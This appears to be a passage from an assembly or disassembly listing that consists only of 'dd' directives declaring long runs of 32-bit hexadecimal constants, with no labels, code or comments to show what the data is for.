		dd 0ED6C198Ch, 0C0FA18CFh, 0CA3E5976h, 713D0073h, 0D7B9DF69h
		dd 1E060E88h, 55DA034Eh, 27590038h, 5E95B4BEh, 0A8153D44h
		dd 0BC2CE231h, 0C2174382h, 8694BD49h, 6082F7Ch,	0A660A1D3h
		dd 1EF860F7h, 2779C107h, 82AED20Ah, 8054EB4Dh, 65D53390h
		dd 7D8B0F0Ch, 41199B12h, 0D7B7F4DCh, 0B9CB2800h, 30DF5815h
		dd 0EFCC0FFCh, 0A32716BDh, 801D0E8Fh, 0E410BBC2h, 41009C55h
		dd 45286F31h, 0A4E8156h, 9F99F7D9h, 73094024h, 7807EFC3h
		dd 711341ADh, 967FEC30h, 0C2B0C304h, 88013AD8h,	6A6F97ABh
		dd 0EF8E099h, 70FE30h, 1BD7D76h, 0A4498EACh, 7B9E940Ch
		dd 3961D017h, 10013223h, 4BCB8D31h, 0A79C40FBh,	3B00E055h
		dd 89CD08FEh, 0F4A43A48h, 0BF10306h, 0C5635904h, 0F062F4C1h
		dd 0AB0039C7h, 21B37FF0h, 5FBA87h, 57C4DE52h, 0B2DA4A1Dh
		dd 3CD348h, 53E06045h, 25A3F85h, 9CB4F431h, 2C402644h
		dd 2005FD75h, 0D3F56B48h, 25C6AC00h, 1C2DB0F8h,	0C5CAD7EFh
		dd 80E7A5E5h, 494D3A75h, 84645629h, 0C8D915h, 0F0BFF793h
		dd 0F1C785h, 4499922Ch,	0F6FEEC63h, 0B0FFE4ABh,	0A3ABC13Ah
		dd 0CD7D3C00h, 1F0F4EF3h, 22590121h, 5F045B38h,	338880D5h
		dd 0E7D658ECh, 0D44450B6h, 0B41600B8h, 79F1F9E4h, 9C0045C6h
		dd 0C0CA6EA9h, 57262Fh,	4F75B9AAh, 205D06D0h, 0E6A24600h
		dd 9B1EAEBFh, 0F23F00B0h, 2E735711h, 8F3DAAA7h,	7E3009Ah
		dd 5CD6BCCEh, 5F4B0001h, 0DA67D359h, 6B313715h,	0A7B238B4h
		dd 19ED5082h, 8AC0B04Bh, 0BD7158E1h, 0C4F23C1Eh, 8D995906h
		dd 4EAC1C29h, 6012C0FFh, 0D8C9E30Dh, 94300274h,	7CE12016h
		dd 0B28600F9h, 0A56103D2h, 5B00D4A9h, 6DE3AF60h, 1A5380h
		dd 0BD84CE74h, 0FB036FCBh, 9FBCC303h, 0F3A60886h, 5A62C0A5h
		dd 287D4Eh, 13DA6F50h, 0FE5EEB8Ch, 0A234B14h, 80403AFDh
		dd 9021ADECh, 0E66281h,	0D0DB7404h, 474480FFh, 80791A3Eh
		dd 1B836CD3h, 3431C08h,	80EB9E7Bh, 0F9B877B5h, 6600A389h
		dd 1AD7C275h, 7DDA5Bh, 0D6C70F48h, 0B07CEC3h, 0C4002172h
		dd 6286440Eh, 0E5AC61h,	9AD5689Eh, 8CA15696h, 0B2697E00h
		dd 368F87C8h, 9055001Ch, 988E4335h, 240021CCh, 0EBAFBA2Eh
		dd 305B1BEh, 751AF0A3h,	1014BFD3h, 0FC04B21Dh, 0C6D22C46h
		dd 0A3DA00F1h, 9189F2D7h, 0E7649403h, 0DA8674CEh, 9EB58032h
		dd 48511D20h, 0C8007B66h, 18036957h, 0CD07ADA8h, 37856780h
		dd 0A809D313h, 0F96A25h, 0F17026Fh, 0FDA0B98Ch,	6141F20Fh
		dd 0C632602Eh, 197CA44h, 154963E0h, 0E5988B87h,	0F44AE88Ch
		dd 0A027F100h, 0C081F67Eh, 9FD90067h, 1B3B8E5Ah, 0DB00B89Ah
		dd 3EADC13Ch, 5973161h,	0A7463F67h, 2A9000F2h, 78A834B3h
		dd 702FB624h, 8AAB6D00h, 380FAE6h, 664CEB8h, 36D8C257h
		dd 0E9001381h, 0C114886Fh, 60B18589h, 3170482Bh, 0F9FCF405h
		dd 1BDF7400h, 0F06216CBh, 0B9BD0E80h, 817C6AFDh, 764459D1h
		dd 402020AFh, 8FCDA318h, 42BA0Ah, 5F3F6C5Ch, 0A512BF49h
		dd 4A27EB00h, 0F9F0C3A1h, 76A01E80h, 0A23382E1h, 61E03DF8h
		dd 0EBF66E73h, 72296400h, 401820E3h, 3C1900EEh,	0F501FB22h
		dd 0A90071CFh, 2D0391C6h, 0AE0C7AAh, 13FD780Dh,	664D07F0h
		dd 6F706060h, 1A1C64A3h, 0EAC11968h, 83E99F0h, 9A48ECh
		dd 0CF963FFh, 2AA6651Eh, 0BF893D02h, 8F9D3E54h,	1E686E98h
		dd 0CB2C8B87h, 7983BB71h, 3D848C8h, 0F227A258h,	288977Ah
		dd 0E2079BB1h, 0C2E539DDh, 2C402Ch, 9E41AC25h, 351AD19Dh
		dd 0CC754800h, 53FB0820h, 0EFE706Ah, 5F887BBh, 503F03C0h
		dd 0D81F91E0h, 8900ED78h, 46717B63h, 90DE7933h,	79DC0524h
		dd 0C0A0B307h, 738E3A5Ah, 0C5E72C00h, 46D2AE6Bh, 0C6073EBFh
		dd 0FCBCDA00h, 4166C1AAh, 0D8288C26h, 0B2221400h, 0C0E872F7h
		dd 0E1DF0250h, 3E009E20h, 97546D78h, 0C0A5A713h, 2FCA2CA8h
		dd 74000AA6h, 6A3B91F1h, 290FB1h, 0DBB1546h, 19D18D4Bh
		dd 883DB200h, 53955D81h, 0BE802407h, 913E00B8h,	0F48BA672h
		dd 0CEBB3B18h, 7DEB3158h, 0E9A3A0EDh, 980103A5h, 0A1E437E2h
		dd 217DCF98h, 5E40C165h, 1468D600h, 0E01F1A8Ch,	218F258h
		dd 16369810h, 70487C07h, 1E982834h, 0C69E5801h,	8BCF2A06h
		dd 3C50B0C9h, 1A2F182h,	0BD138EA1h, 8EDE51DAh, 0D2165A18h
		dd 43D66C01h, 73ECB025h, 0DF60E36h, 57202786h, 0E056679Dh
		dd 3D005BE6h, 2D061749h, 450257Bh, 30E909C2h, 0EE888007h
		dd 7700CD3Dh, 0DE897033h, 0F7C512h, 0F0CAA05Fh,	0E096617Ch
		dd 239DA502h, 0C0970F5Eh, 379CA2h, 0DD29F23Eh, 6795A09h
		dd 0D083B700h, 4A8FBF05h, 0BE65005Ch, 0C83734DBh, 0B700390Bh
		dd 7EE2B0C0h, 3F8B4BC7h, 7280B590h, 665B36B1h, 0E1496833h
		dd 609E288Ch, 0C5A8551Ch, 79FA8200h, 6142D1h, 32A0714Fh
		dd 76F1595Ah, 6BFF8B00h, 3ABB95FBh, 0E36D019Ah,	0CD060583h
		dd 218AD054h, 85980976h, 8EBB9106h, 3E607B85h, 2B92CE3Fh
		dd 5F3001F7h, 0C54863E8h, 2410B8E1h, 0B41FB817h, 0EC5EFE00h
		dd 8F902Fh, 0E7E7645h, 0A22AEA9Fh, 8997A303h, 0A99552E3h
		dd 0D441A479h, 3CEC9BCDh, 4A5001Fh, 0E891481Ah,	3D7403B7h
		dd 2E38800h, 6687508Dh,	0CFFF006Dh, 981EB9C2h, 6B3DCEF8h
		dd 647C80F9h, 2851C1D3h, 0FE77002Fh, 29E79F7Fh,	0A800354Bh
		dd 0B9A5FAC0h, 0F6434F74h, 39E254h, 4B77A96Fh, 9AF00C8Ah
		dd 0EB794805h, 0EBC514h, 96C9CF24h, 5700AB3Eh, 0D3BBDF4h
		dd 0EA2F6288h, 9A790054h, 802DDE78h, 36E2553Eh,	13846338h
		dd 6409994Dh, 0B6942313h, 33D0C847h, 0CFE50015h, 567A75E6h
		dd 0CA756671h, 31906100h, 5AAF079Ah, 1C2D0099h,	1F184A60h
		dd 6B3977F1h, 90D6AC4Ch, 76A2900h, 3CFB10DAh, 0DE00F966h
		dd 9A54EE38h, 59F85F45h, 0DA7D8100h, 63981122h,	0BCC02685h
		dd 49B19D60h, 14A03F4Dh, 7A3C3B73h, 0EC4BB50h, 3A464A07h
		dd 9234E9F1h, 0C56AE490h, 8F44001Ah, 4FE2D0BFh,	0F0112F5h
		dd 8272F610h, 0E464ED2Eh, 256907C6h, 90D409A2h,	93DB7959h
		dd 3B406552h, 0EAA911F7h, 8D5F0500h, 687D99D9h,	73699D00h
		dd 9F1D55A0h, 8FF51E56h, 0DAC14038h, 0D0378940h, 5F695300h
		dd 0A778D60Eh, 24A809D3h, 0DC004801h, 61F982F2h, 8C6B111Ch
		dd 0CFBFD40h, 3416346Ch, 801815E5h, 0DCB096D3h,	1F81F700h
		dd 0E8288BAh, 10A7B5Ch,	661A904Eh, 6083D09Eh, 0BE30E214h
		dd 0D7D4E02Eh, 4F7A09h,	0D45A5C5h, 0C35C45Ch, 70BD58h
		dd 0BF030E87h, 1B21BEh,	0A80AF62h, 9A1473EAh, 0A21A8901h
		dd 5BBA072Dh, 96BED8h, 7D0E8B75h, 37948440h, 0C821F200h
		dd 0C480500Fh, 7A509029h, 6D4C1C32h, 7BBC3A8h, 0CE80662h
		dd 0CA004F69h, 0E8017C4Eh, 2EF0D26Ch, 76B5F52h,	6F8B71h
		dd 0D5692A19h, 7424D600h, 0E3CE5EBh, 73940055h,	0A93FFFDDh
		dd 0B4484A23h, 0C9430096h, 9CB12E2Dh, 1A6201EAh, 93C48295h
		dd 0B2FE803Bh, 0B37521A9h, 3AF23A31h, 8746969Ch, 90343B9Ch
		dd 41FC3DB4h, 187CA12Ch, 3CD26842h, 0C75E280Ah,	0CA00A0C8h
		dd 6F351864h, 1C39F8BBh, 0C041FEB3h, 0DAF1851Eh, 870086D2h
		dd 0C9D7CC0h, 13C57697h, 3091D6FCh, 269F2934h, 6470A81Ch
		dd 0B009846Eh
		dd 0A2C4178h, 0F78E8823h, 7DDE9F20h, 0A3000F94h, 1259F078h
		dd 57291Bh, 0BFBA11CAh,	5B95A9DBh, 0E03F410Ch, 58EAF151h
		dd 0F30016ADh, 19C12CF7h, 450033B1h, 0B947AE9h,	5F744Ch
		dd 3B6B4303h, 828B0809h, 98801300h, 9F144081h, 38FC3EA9h
		dd 0C06C5800h, 90510EBFh, 54C9CE07h, 0A1300D2Ch, 4A5A53h
		dd 432FDBABh, 0EB443677h, 14A8461Eh, 5954A1C0h,	174A66h
		dd 0E2958FC8h, 0D9BDC558h, 0BA342500h, 0CBA497E1h, 643B006Fh
		dd 0AF4CFBD4h, 720BB401h, 100AC525h, 0E85B53D4h, 0B77904D7h
		dd 82109456h, 0B460408Ah, 1005289h, 2D95BEFDh, 798E2712h
		dd 0B07C5447h, 100E21B9h, 93842A40h, 79FF800Bh,	0F9CD0D1Fh
		dd 4C40381Dh, 89DF8C23h, 3C140074h, 73427551h, 1C925E59h
		dd 6C58A4E8h, 0DE048114h, 58818D27h, 83246E23h,	409AE555h
		dd 25BB57F8h, 20493800h, 51020D1Ah, 0FA621C21h,	0A2BF506Ah
		dd 244468h, 4DE81708h, 8F8E07C7h, 6BD3300h, 0EAA418AEh
		dd 1D289A74h, 40DD34B8h, 0D465F673h, 4A0005D5h,	97510C41h
		dd 0A33529h, 0AC75861Dh, 431E671Fh, 6F55DDF1h, 9C17C780h
		dd 0EFAD1E02h, 0C430803Fh, 955B9A07h, 0EA0F3Ah,	2E1053F5h
		dd 724061A1h, 0A9963AE8h, 0D6426707h, 0C0A07A77h, 0C1B3B4ABh
		dd 4F496909h, 0FF48605Dh, 624C0012h, 9CD0D775h,	0F9CFBE3Eh
		dd 4BA7E073h, 1905AB5h,	42C2979Fh, 47CA685Fh, 28A0DBE4h
		dd 111FDFB1h, 5E5DC1F2h, 0FB911FA4h, 400E2789h,	159BB8B8h
		dd 0CCCCFAEEh, 8F783201h, 0E14437EDh, 0DFC8D788h, 0E0193D1h
		dd 8E2509BAh, 0C289B29h, 0BF9D069Eh, 50070A3h, 0A05E98F4h
		dd 95191DBh, 0D1C967D7h, 0A5092380h, 8105B171h,	1C0693D5h
		dd 32E11C90h, 9F8601B2h, 5D3510C3h, 2A4FC033h, 61A43F35h
		dd 13288C8Ah, 7C30B0FCh, 808800D1h, 572BC896h, 0FB008EACh
		dd 0A730650Fh, 46CE4Dh,	6822695Ch, 0D14D225h, 0F3AAAB00h
		dd 82E3D1E2h, 62273A41h, 61F47B8Fh, 10766767h, 0C88D883Dh
		dd 0AE00DF74h, 0DCE01D4Fh, 0E2D8983h, 26BE9593h, 7FE03A8Fh
		dd 4CBA65Dh, 3B005771h,	0FAB3AD7Bh, 7F77FB32h, 0EE71036Eh
		dd 8F1CA696h, 9942D980h, 7CE46100h, 0E5C743E8h,	0FB010E0Eh
		dd 0D4616D88h, 0D8450428h, 2E0FB0A7h, 0E0C5421Eh, 960801F4h
		dd 5ED00069h, 0BDCBD4ADh, 64E21BB8h, 5C54A703h,	0B8A6A367h
		dd 246DCD05h, 0BD040436h, 98720FF8h, 0A7C9195Fh, 1730880h
		dd 5C3EAB59h, 0FEB287C7h, 7580A6DFh, 0C8BCA8h, 65BBAD94h
		dd 61884269h, 0B013D6E8h, 77075B9Dh, 39F68CC6h,	47840161h
		dd 0D9383E50h, 0D008CDF3h, 654CC917h, 11C01828h, 88784710h
		dd 0D8180F69h, 9C2A49ADh, 94A4000Bh, 3E9B8BA3h,	0DB001BDCh
		dd 0FBEEB486h, 1ED8FA8Ah, 0C8C56Bh, 0F28C2C4Ah,	0A016D3FFh
		dd 0E801F4D4h, 315EB3A6h, 0C06B8093h, 0A5018024h, 944BCF0Ch
		dd 6EA93Eh, 0C7A41FAh, 9A7C89BBh, 251B990Ch, 0BC2111h
		dd 0A69F8A43h, 3866292Ch, 90EE19C2h, 77985810h,	179700E5h
		dd 0D67C7196h, 0EF000A02h, 6A6495C1h, 809FB6h, 8C4D6674h
		dd 37F92798h, 53EA3807h, 1CE0CD26h, 8451F8h, 7C053068h
		dd 7A67F219h, 2709C6F8h, 572907A7h, 5F629280h, 600790EBh
		dd 0F312CE7Fh, 8807A2C1h, 9BF4E4h, 94817628h, 62AB6B14h
		dd 0A1A0C860h, 4D1ABFh,	0A9C443CFh, 67C6B1EBh, 0EF81E81Ch
		dd 28D730FCh, 7BED48B2h, 473806BAh, 19B8AAB6h, 0BC76F200h
		dd 950ACAADh, 0FF4D0102h, 743EDB9Dh, 2F38841Bh,	39C19187h
		dd 8C50845Dh, 0E2F1F0F8h, 0CC791C0Dh, 9D915F63h, 2C3580FDh
		dd 0D65513B4h, 3DB26C00h, 0CEAAB552h, 6D70C010h, 801A99DAh
		dd 0E8F22C00h, 5DE47D12h, 26720102h, 86CFFDC5h,	0BAB1FC1Eh
		dd 0AF16F501h, 231C3F68h, 8A1BD050h, 5E870758h,	619721CEh
		dd 0C573E7ECh, 10C2FC5Ah, 0E051E23Ah, 8AFD6FA9h, 69C9005Fh
		dd 0FA37E408h, 0CF00E1D9h, 1CCA3197h, 44D7A8h, 32B6A7F9h
		dd 37E325A4h, 22B7AB00h, 0E196274Ah, 3AE5002Bh,	83BCBD39h
		dd 0D2120DF8h, 0A0806046h, 0B39C3Fh, 5B85048Dh,	28A854B5h
		dd 1C7D8C00h, 654074BAh, 0A5AE0053h, 8EC4A94h, 951D87D1h
		dd 440CD6D9h, 742036h, 29419002h, 525807C9h, 9F9AD100h
		dd 0CE5D5C7Bh, 0D0A004Fh, 653F7078h, 0BD00B7F3h, 0F252FD7Ch
		dd 74BAEFB1h, 0AA008439h, 0CB485340h, 0FAB2768h, 7A923DE7h
		dd 458B0240h, 4C00152Eh, 0E63AD429h, 0E7F2C1h, 5F53B5Ch
		dd 4E53BCF0h, 756BA916h, 1057200Ch, 2E3400DFh, 1F6D73A5h
		dd 103A177Bh, 213E302Bh, 233F11h, 0EFC1A045h, 35F28515h
		dd 0F659BA06h, 6EC87EB7h, 4EAAA194h, 11105468h,	518E4017h
		dd 0A1DC78E0h, 8E00094Ah, 1D93E3CEh, 161BAC11h,	88912Bh
		dd 6E459AEFh, 3308792h,	5E7A7861h, 9432068Bh, 0E8389CFAh
		dd 3B87970Dh, 0B1C0200Ah, 8950003Ch, 0AF732676h, 0AE017C99h
		dd 323FE2D3h, 3C70EA8Dh, 0A59C004Dh, 859C803h, 5103EC11h
		dd 0A42ECE13h, 0FBE690EEh, 0F43C0FAAh, 0B4A0EFE2h, 0AFBF9B18h
		dd 0D61B5102h, 6027A0A3h, 70FA515h, 3389C087h, 0CE5AE0CDh
		dd 0DC00A19Bh, 0EE9701B1h, 4BA8A46Bh, 34C0FBB6h, 0EF53074h
		dd 0D498F96Eh, 48E8B320h, 1F00A850h, 0A4BFAB2Dh, 43CF2h
		dd 0BD327EDFh, 0A5D0976Ch, 0AB011FECh, 7B031B31h, 30811C15h
		dd 2F733717h, 0B1C5D091h, 0E8276B03h, 2C22A34Eh, 0CB1D20h
		dd 48E4C8D0h, 9300890Eh, 62F97F52h, 31261E7h, 321A55B5h
		dd 9860E1ABh, 3DB9B789h, 57C73AAAh, 89BF1060h, 0B2014478h
		dd 2D9C9893h, 10D09665h, 3A20C047h, 0AA9777A7h,	68641F00h
		dd 6FDBEE01h, 1346039Eh, 2E366C9Bh, 4D00617Eh, 0F5D13D52h
		dd 27ECBEh, 2F6E065Ch, 5BFE1817h, 4847D000h, 0D4C2CC29h
		dd 0A2A9CE6Ch, 9183A028h, 0E8FCDFECh, 30F32DFBh, 80203D7Bh
		dd 62F0516Ch, 0A47822Ch, 7DD91900h, 520D1h, 2FAB8EE8h
		dd 5CD034C6h, 0C492AE03h, 0C008B73Dh, 7A6FDFh, 0F599FFD1h
		dd 9E73F062h, 43981F00h, 9BCC477Bh, 88AD1C4Ah, 62E2804Ch
		dd 25ABE4B9h, 58FA0B3Dh, 223A0FDAh, 9EE36745h, 0FD42CEE0h
		dd 470C3CEDh, 0C0F6549Dh, 173EC4F5h, 32007658h,	90D4C011h
		dd 0C601FFh, 538681Eh, 0B0674615h, 807B413Ch, 82886F3Eh
		dd 1409B501h, 909A1F39h, 0C2437103h, 55C1157Eh,	1293E021h
		dd 69E46200h, 0A133269Eh, 3D0C0718h, 0C059C938h, 318EA465h
		dd 0CA30F90Bh, 3CD0982h, 0A5F57Ch, 48C9818h, 0EACF4407h
		dd 83707CE8h, 7E29B925h, 0DC430CA0h, 0E500D428h, 3287DDDFh
		dd 777C0A82h, 79EAB036h, 110F60B2h, 0B4D81068h,	0F26FBA03h
		dd 706ABE6Eh, 312A0008h, 0D88815DDh, 900795B7h,	2601F103h
		dd 44519A60h, 0C715E01Fh, 4CE7D3B8h, 270C0830h,	600B165Fh
		dd 7053E32h, 0F7331100h, 0AB79B47Fh, 4DF9A408h,	43E31E29h
		dd 159B1C36h, 0B056D6B0h, 0C45F5207h, 47E05DFFh, 79450F4h
		dd 4BA6519h, 3A030BDBh,	2E869027h, 0F495EA03h, 0A1363344h
		dd 528070FFh, 0AF1105B9h, 0B44CD01Ch, 0F9A307F6h, 1BF0E5A1h
		dd 582F5BE6h, 0B90083D2h, 3AA97D3Ch, 6D007414h,	70EC46FFh
		dd 1F441AC1h, 80DD5A93h, 2FAD76BAh, 0D400097Eh,	34C8537h
		dd 78C8D751h, 70570772h, 80D5915Dh, 6B542A58h, 0A7827F1Fh
		dd 24921D80h, 123EA8h, 0C4D7AF5Dh, 81C9571Fh, 77FE043Fh
		dd 0A8A22F00h, 0C3DD85E9h
		dd 0E84B07A6h, 608606F8h, 0E566CA22h, 801D463Eh, 0BA1802BBh
		dd 8F3624h, 0B41B8A44h,	0CA37108Eh, 94627C00h, 648BE6E2h
		dd 0DA140EF1h, 0C4EE1FB6h, 0E39F5898h, 1E9C61Fh, 77F68340h
		dd 3EC996Fh, 3258EE50h,	4BC054B2h, 0F900D2A4h, 0A98CF122h
		dd 51E033h, 0B35EF70Fh,	0FF23E68Ah, 0AEF6B900h,	6A5104Eh
		dd 223B0713h, 0A03CECF7h, 9DB96C62h, 78B10330h,	3394979h
		dd 35AE2816h, 0A9014A6Fh, 0A548F32Bh, 0E5EC5896h, 0A4620C0Bh
		dd 0BD58ADCFh, 0EEE3FA00h, 6DE9DAD5h, 5EF40063h, 98954F4Bh
		dd 0BF01D7C9h, 0D96364Eh, 0B880A9BEh, 0D005ADB1h, 0DF0142C4h
		dd 8E75B503h, 0E80BDEDh, 9914AC28h, 5100436Eh, 0D7A99F39h
		dd 0E8E69106h, 9EB500B6h, 2CE3ADA8h, 0C80FE149h, 0E082FE38h
		dd 9737BEFDh, 3062001Eh, 292B81CEh, 0EC014BBBh,	0D92C8963h
		dd 0B430D719h, 60C5741Eh, 3B672118h, 200EEC7Bh,	3F8EB310h
		dd 39848Fh, 6C158B40h, 745EB834h, 8F30C7F9h, 0F6C5A076h
		dd 36E0E131h, 0A978CD60h, 7C342344h, 794603E0h,	22762952h
		dd 6ABB0800h, 0DF6EDA8Eh, 0E66905ACh, 80131996h, 3BA7C48h
		dd 4B290560h, 48ABDC4Ch, 0EB003C74h, 179E9577h,	2200523Ah
		dd 971601FAh, 606866C8h, 0D4883031h, 0EB3AB406h, 0AECF00A0h
		dd 0A8CBF029h, 0D0BF0EF9h, 0C2FFAC98h, 2850B4DCh, 0D854DE60h
		dd 0ADC5400Bh, 1B82801Eh, 0EEFD7h, 0DD13A45Bh, 0C4FBEA49h
		dd 29908B60h, 0DCDEF1h,	0D884A020h, 774F5DFDh, 0B10F3176h
		dd 6764EA65h, 21F0E0F3h, 1D664Ah, 91CD125Ah, 1A0AEFF4h
		dd 0A756820Fh, 290DA047h, 0FB7F42h, 79E1DB9Ah, 14E7B0EBh
		dd 0E4CCAD00h, 0D94622F7h, 6F200041h, 38D67C3h,	0C8008744h
		dd 0ADBC3CDEh, 7C9A429h, 2D48D514h, 7E70A05Dh, 9500D80Eh
		dd 81EF786Bh, 70A504E4h, 7F83047Ch, 80389BA9h, 549A0AB8h
		dd 60647200h, 0A656E176h, 71D900F6h, 0A497E226h, 5C00A1EDh
		dd 74D6D3FFh, 0FA6B6Ah,	48091949h, 0B655E6BAh, 5BAE9200h
		dd 0EF4664F2h, 79D03A9Bh, 2FA11280h, 0DBDC7CC5h, 9DBA9000h
		dd 27D55217h, 5928004Fh, 0C48EC99Ch, 4500761Ch,	0E510A7C7h
		dd 2FA6BAh, 48B7F324h, 79BB6067h, 0D6079D2Eh, 0E7178600h
		dd 6B4D1Fh, 50157CF0h, 69B4EBC5h, 0C077E278h, 6CF1DA00h
		dd 4D1A3561h, 0F3C70173h, 0D5EB14CEh, 56D89C25h, 70347100h
		dd 607CCD65h, 5CC919A6h, 0B901BE8Ch, 1514A036h,	0B6FCBD2Bh
		dd 1B1800BCh, 9778A23Fh, 0F700B174h, 1C71AB4h, 0E643FBC8h
		dd 54D81ECEh, 0FE08004Eh, 10B786F8h, 9ADDC22Eh,	34930B3Dh
		dd 2CD70090h, 2622CDF2h, 0F0C2461h, 258039FBh, 8CF53CE8h
		dd 74065300h, 0EF081498h, 6B078h, 15A3F613h, 9237B0EAh
		dd 95ADB407h, 0C0EEBFC6h, 0BE1FF53Dh, 0AF710Ch,	40A75450h
		dd 0AE02D81Ah, 3C4DB400h, 0D7B98DADh, 1CD00A8h,	0C34A86AFh
		dd 97002FC6h, 0A631961Ch, 1B5F692h, 34DA07B9h, 714EAC0Eh
		dd 0D4F66099h, 166CA800h, 8F867F79h, 3D490039h,	26B42DC2h
		dd 0AE00EF83h, 78845077h, 13D21E8Dh, 7E7D529h, 4E2E54D7h
		dd 0E6436AC0h, 0BB001ABAh, 0B2771F98h, 3D267Dh,	799586ACh
		dd 0E6FF53E3h, 8F9A730Bh, 36A180A9h, 7F5D8B6h, 1D155EB8h
		dd 0FC37D561h, 0DDCA032Bh, 0C0760535h, 329D0F41h, 0C8199B30h
		dd 10C4049Dh, 0E7CBE383h, 6FF23F40h, 4F95001Bh,	50D2D15Ah
		dd 617F6751h, 47AB0600h, 0DE250A0Eh, 2B29C2EDh,	0E00FD274h
		dd 6049FCEh, 5C108447h,	27216E12h, 9EF4F504h, 9ADAD300h
		dd 0FC102507h, 63082D4Eh, 6908CFB8h, 284F940Fh,	2ABBB608h
		dd 0C8531F04h, 44EB4304h, 6342C55Bh, 0BB033C11h, 0BE291945h
		dd 40B7A1D4h, 3E832E14h, 0C4A7F780h, 5F5E36A1h,	4C520CA1h
		dd 8E627351h, 24F0E7A1h, 104C21BFh, 51EF299Ah, 0B75E658Bh
		dd 32162100h, 0B04E43F6h, 49CE0041h, 0AA99767Ch, 81001E47h
		dd 5D30230Fh, 357841h, 7B6A942Bh, 0BCE80246h, 8700D2E2h
		dd 528F1948h, 5A37Ch, 6EBE5856h, 0E8C43CEAh, 67D0B700h
		dd 555B84DAh, 734F3D09h, 6681D280h, 7FBD2DCCh, 0F1E9F300h
		dd 0A8AB93C3h, 4710C07Ch, 27A46AC8h, 89BEA93Eh,	62BAC0h
		dd 0B5293710h, 2C960595h, 0C00AF16Fh, 7807A934h, 69CD4B00h
		dd 836D180Dh, 0F40E0063h, 0EA92365Ah, 0C200E3C7h, 0E4F00A40h
		dd 16A82DCAh, 0E515872h, 17A32C07h, 8A8002F7h, 533ACB87h
		dd 262B80AAh, 36ABB910h, 0CE40048h, 4DDA3A85h, 391DD112h
		dd 49895204h, 0BD6020FDh, 0F7A7B0h, 6DE785C1h, 0BAC7FC4Bh
		dd 0E8B77A01h, 6882EFF6h, 1BA0CE80h, 6C0D93E2h,	2B7E6700h
		dd 0B3A48B3Ah, 1A3600C3h, 535745CCh, 5830C43Fh,	0BFD9D05Fh
		dd 52BC002Ch, 0B5D38774h, 8000C46h, 47F4C90Ah, 7B3956FFh
		dd 0F2430014h, 9D73885Bh, 83F6B9DBh, 9368F900h,	7FAB180h
		dd 0E9FC00DDh, 0DCBAB6E6h, 6100CE2Fh, 172ACDD5h, 0F86863h
		dd 0E43C70DFh, 0DD9462BEh, 493D8307h, 0A531318Bh, 30B80CB1h
		dd 0BFF60280h, 0B4A09C3Fh, 3C6B1707h, 86A09528h, 54FAE1h
		dd 0AB2B5997h, 2F7A5C33h, 9F3D3E00h, 33B0BAEh, 0E15E0A3Ch
		dd 0A0088Ah, 0F706F50Ah, 0B006381h, 73A11E2Ah, 13DC0C5Ah
		dd 42D7A5h, 76E1205Fh, 7A00E5B0h, 7F758293h, 0C4CA23h
		dd 1F325926h, 92E3493Bh, 0BE2B4700h, 0C589B156h, 8D350728h
		dd 10FFB6CEh, 76A61E9Ah, 0B9424Dh, 634E3E43h, 0E8CD215Ch
		dd 0E2410074h, 0D9BE4DFAh, 0CC01ABC4h, 84A59051h, 1080D199h
		dd 0C6FE411Fh, 4A0002BCh, 0E97BD59Ah, 0C0E09Fh,	1C296424h
		dd 5912211Fh, 82807201h, 17E5FC62h, 92A102FCh, 11DA001Ch
		dd 82AA54EEh, 5998101Ch, 0BDB38F05h, 648080A3h,	4437F0h
		dd 1C8A1DC5h, 2394D1F3h, 220071E8h, 0D388CC3h, 0B8593E3Fh
		dd 532000A6h, 7CE51E58h, 0E1014063h, 3EE04FDAh,	90E87D83h
		dd 0B76D000Ah, 4A6EFC7Ah, 2B3071F2h, 5B930C98h,	0E3EF0003h
		dd 5DE1FB55h, 4203B0D3h, 0C1D5FF26h, 661BE17Bh,	0B4F5F0E7h
		dd 369D005Eh, 0B1677DA4h, 4B3FAF33h, 2B2F805Dh,	579E3893h
		dd 0DD740170h, 0B06EBA60h, 194BD0A6h, 0C80BF600h, 4E689781h
		dd 38E70189h, 0D854912Ah, 0BFA3704Ah, 1E7C5739h, 0E4C08C42h
		dd 0A14B8086h, 0BAC10027h, 64AAC2FAh, 0A601D508h, 2838AE84h
		dd 0B8FF0922h, 356A7Eh,	6814A50Dh, 0BB4599B5h, 8B4C4D01h
		dd 2FE9D71Ah, 52A6BD40h, 0E38A0032h, 7791E4BCh,	5A00861Eh
		dd 895F2F38h, 158CFD8h,	1B6A04F1h, 0D75C446Dh, 0E8E693B7h
		dd 8DBB9180h, 26F4800h,	7E1632ACh, 0D89438F2h, 0E6376000h
		dd 1CE4BF4Eh, 7C0994Ch,	0ADC9A06Eh, 0AB2E30C0h,	0F1B53F76h
		dd 4CA691Fh, 0C08ED10Ch, 7FEF3EEFh, 35EE400h, 4FF1AAC6h
		dd 0B0090050h, 0CF374C07h, 5400B5EFh, 365CFBD7h, 9E570Dh
		dd 538B8202h, 132F7244h, 8D471700h, 0A197B83Ah,	0CA71001Eh
		dd 60CF204Ah, 0D2008490h, 0A62348C0h, 0B55285h,	0B70B8FE4h
		dd 0D3DA12BCh, 0B0361E00h, 9B87830Ah, 31C800D1h, 2EF7EF16h
		dd 4D047540h, 0DFF07C48h, 0BB5DE080h, 586600EDh, 30330543h
		dd 280FA9C8h, 20CC5B6Eh, 0EF2BCFF7h, 21D101C3h,	0B0068548h
		dd 46A5E81Eh, 0C69D1F1Ch, 5F365700h, 182C65h, 566FE7A2h
		dd 741C4651h, 0DB0F8300h, 8C6C04B2h, 1FDD00E2h,	9A700B58h
		dd 0B803FF82h, 0CF2AC1E7h, 6032F83Ch, 1A641CB0h, 4E52C08Bh
		dd 0CDE044E8h, 1CF2DC04h
		dd 5488217Ch, 0D1130C1Ah, 3D806DD6h, 0FD3CA712h, 56589C00h
		dd 29D0CFh, 0A2DC90CEh,	0E89A199Dh, 1EA0CD3Fh, 0CA0051AFh
		dd 7BEA4C6Bh, 0ECCE48A1h, 1EF8A83Eh, 8075D7C9h,	0D121440Bh
		dd 0D9000D46h, 1D9C848Dh, 0C2A58Bh, 0AD0BC4B2h,	3213857Fh
		dd 4B3C06B0h, 870E80EBh, 0E16F6E77h, 0CB5F3F74h, 12095E80h
		dd 0D7CCA04h, 0DD0F9209h, 0B2650025h, 46F581h, 4E21D0A1h
		dd 7BC73850h, 39402300h, 0DD9A51ADh, 0C6B900F0h, 71CB5B89h
		dd 3207996Ch, 8DB8953Ch, 0B835E673h, 7B7B9CEh, 7194799Ah
		dd 4BAA2026h, 9807A8C4h, 47E42BC1h, 0A64044E1h,	5B0F6D4h
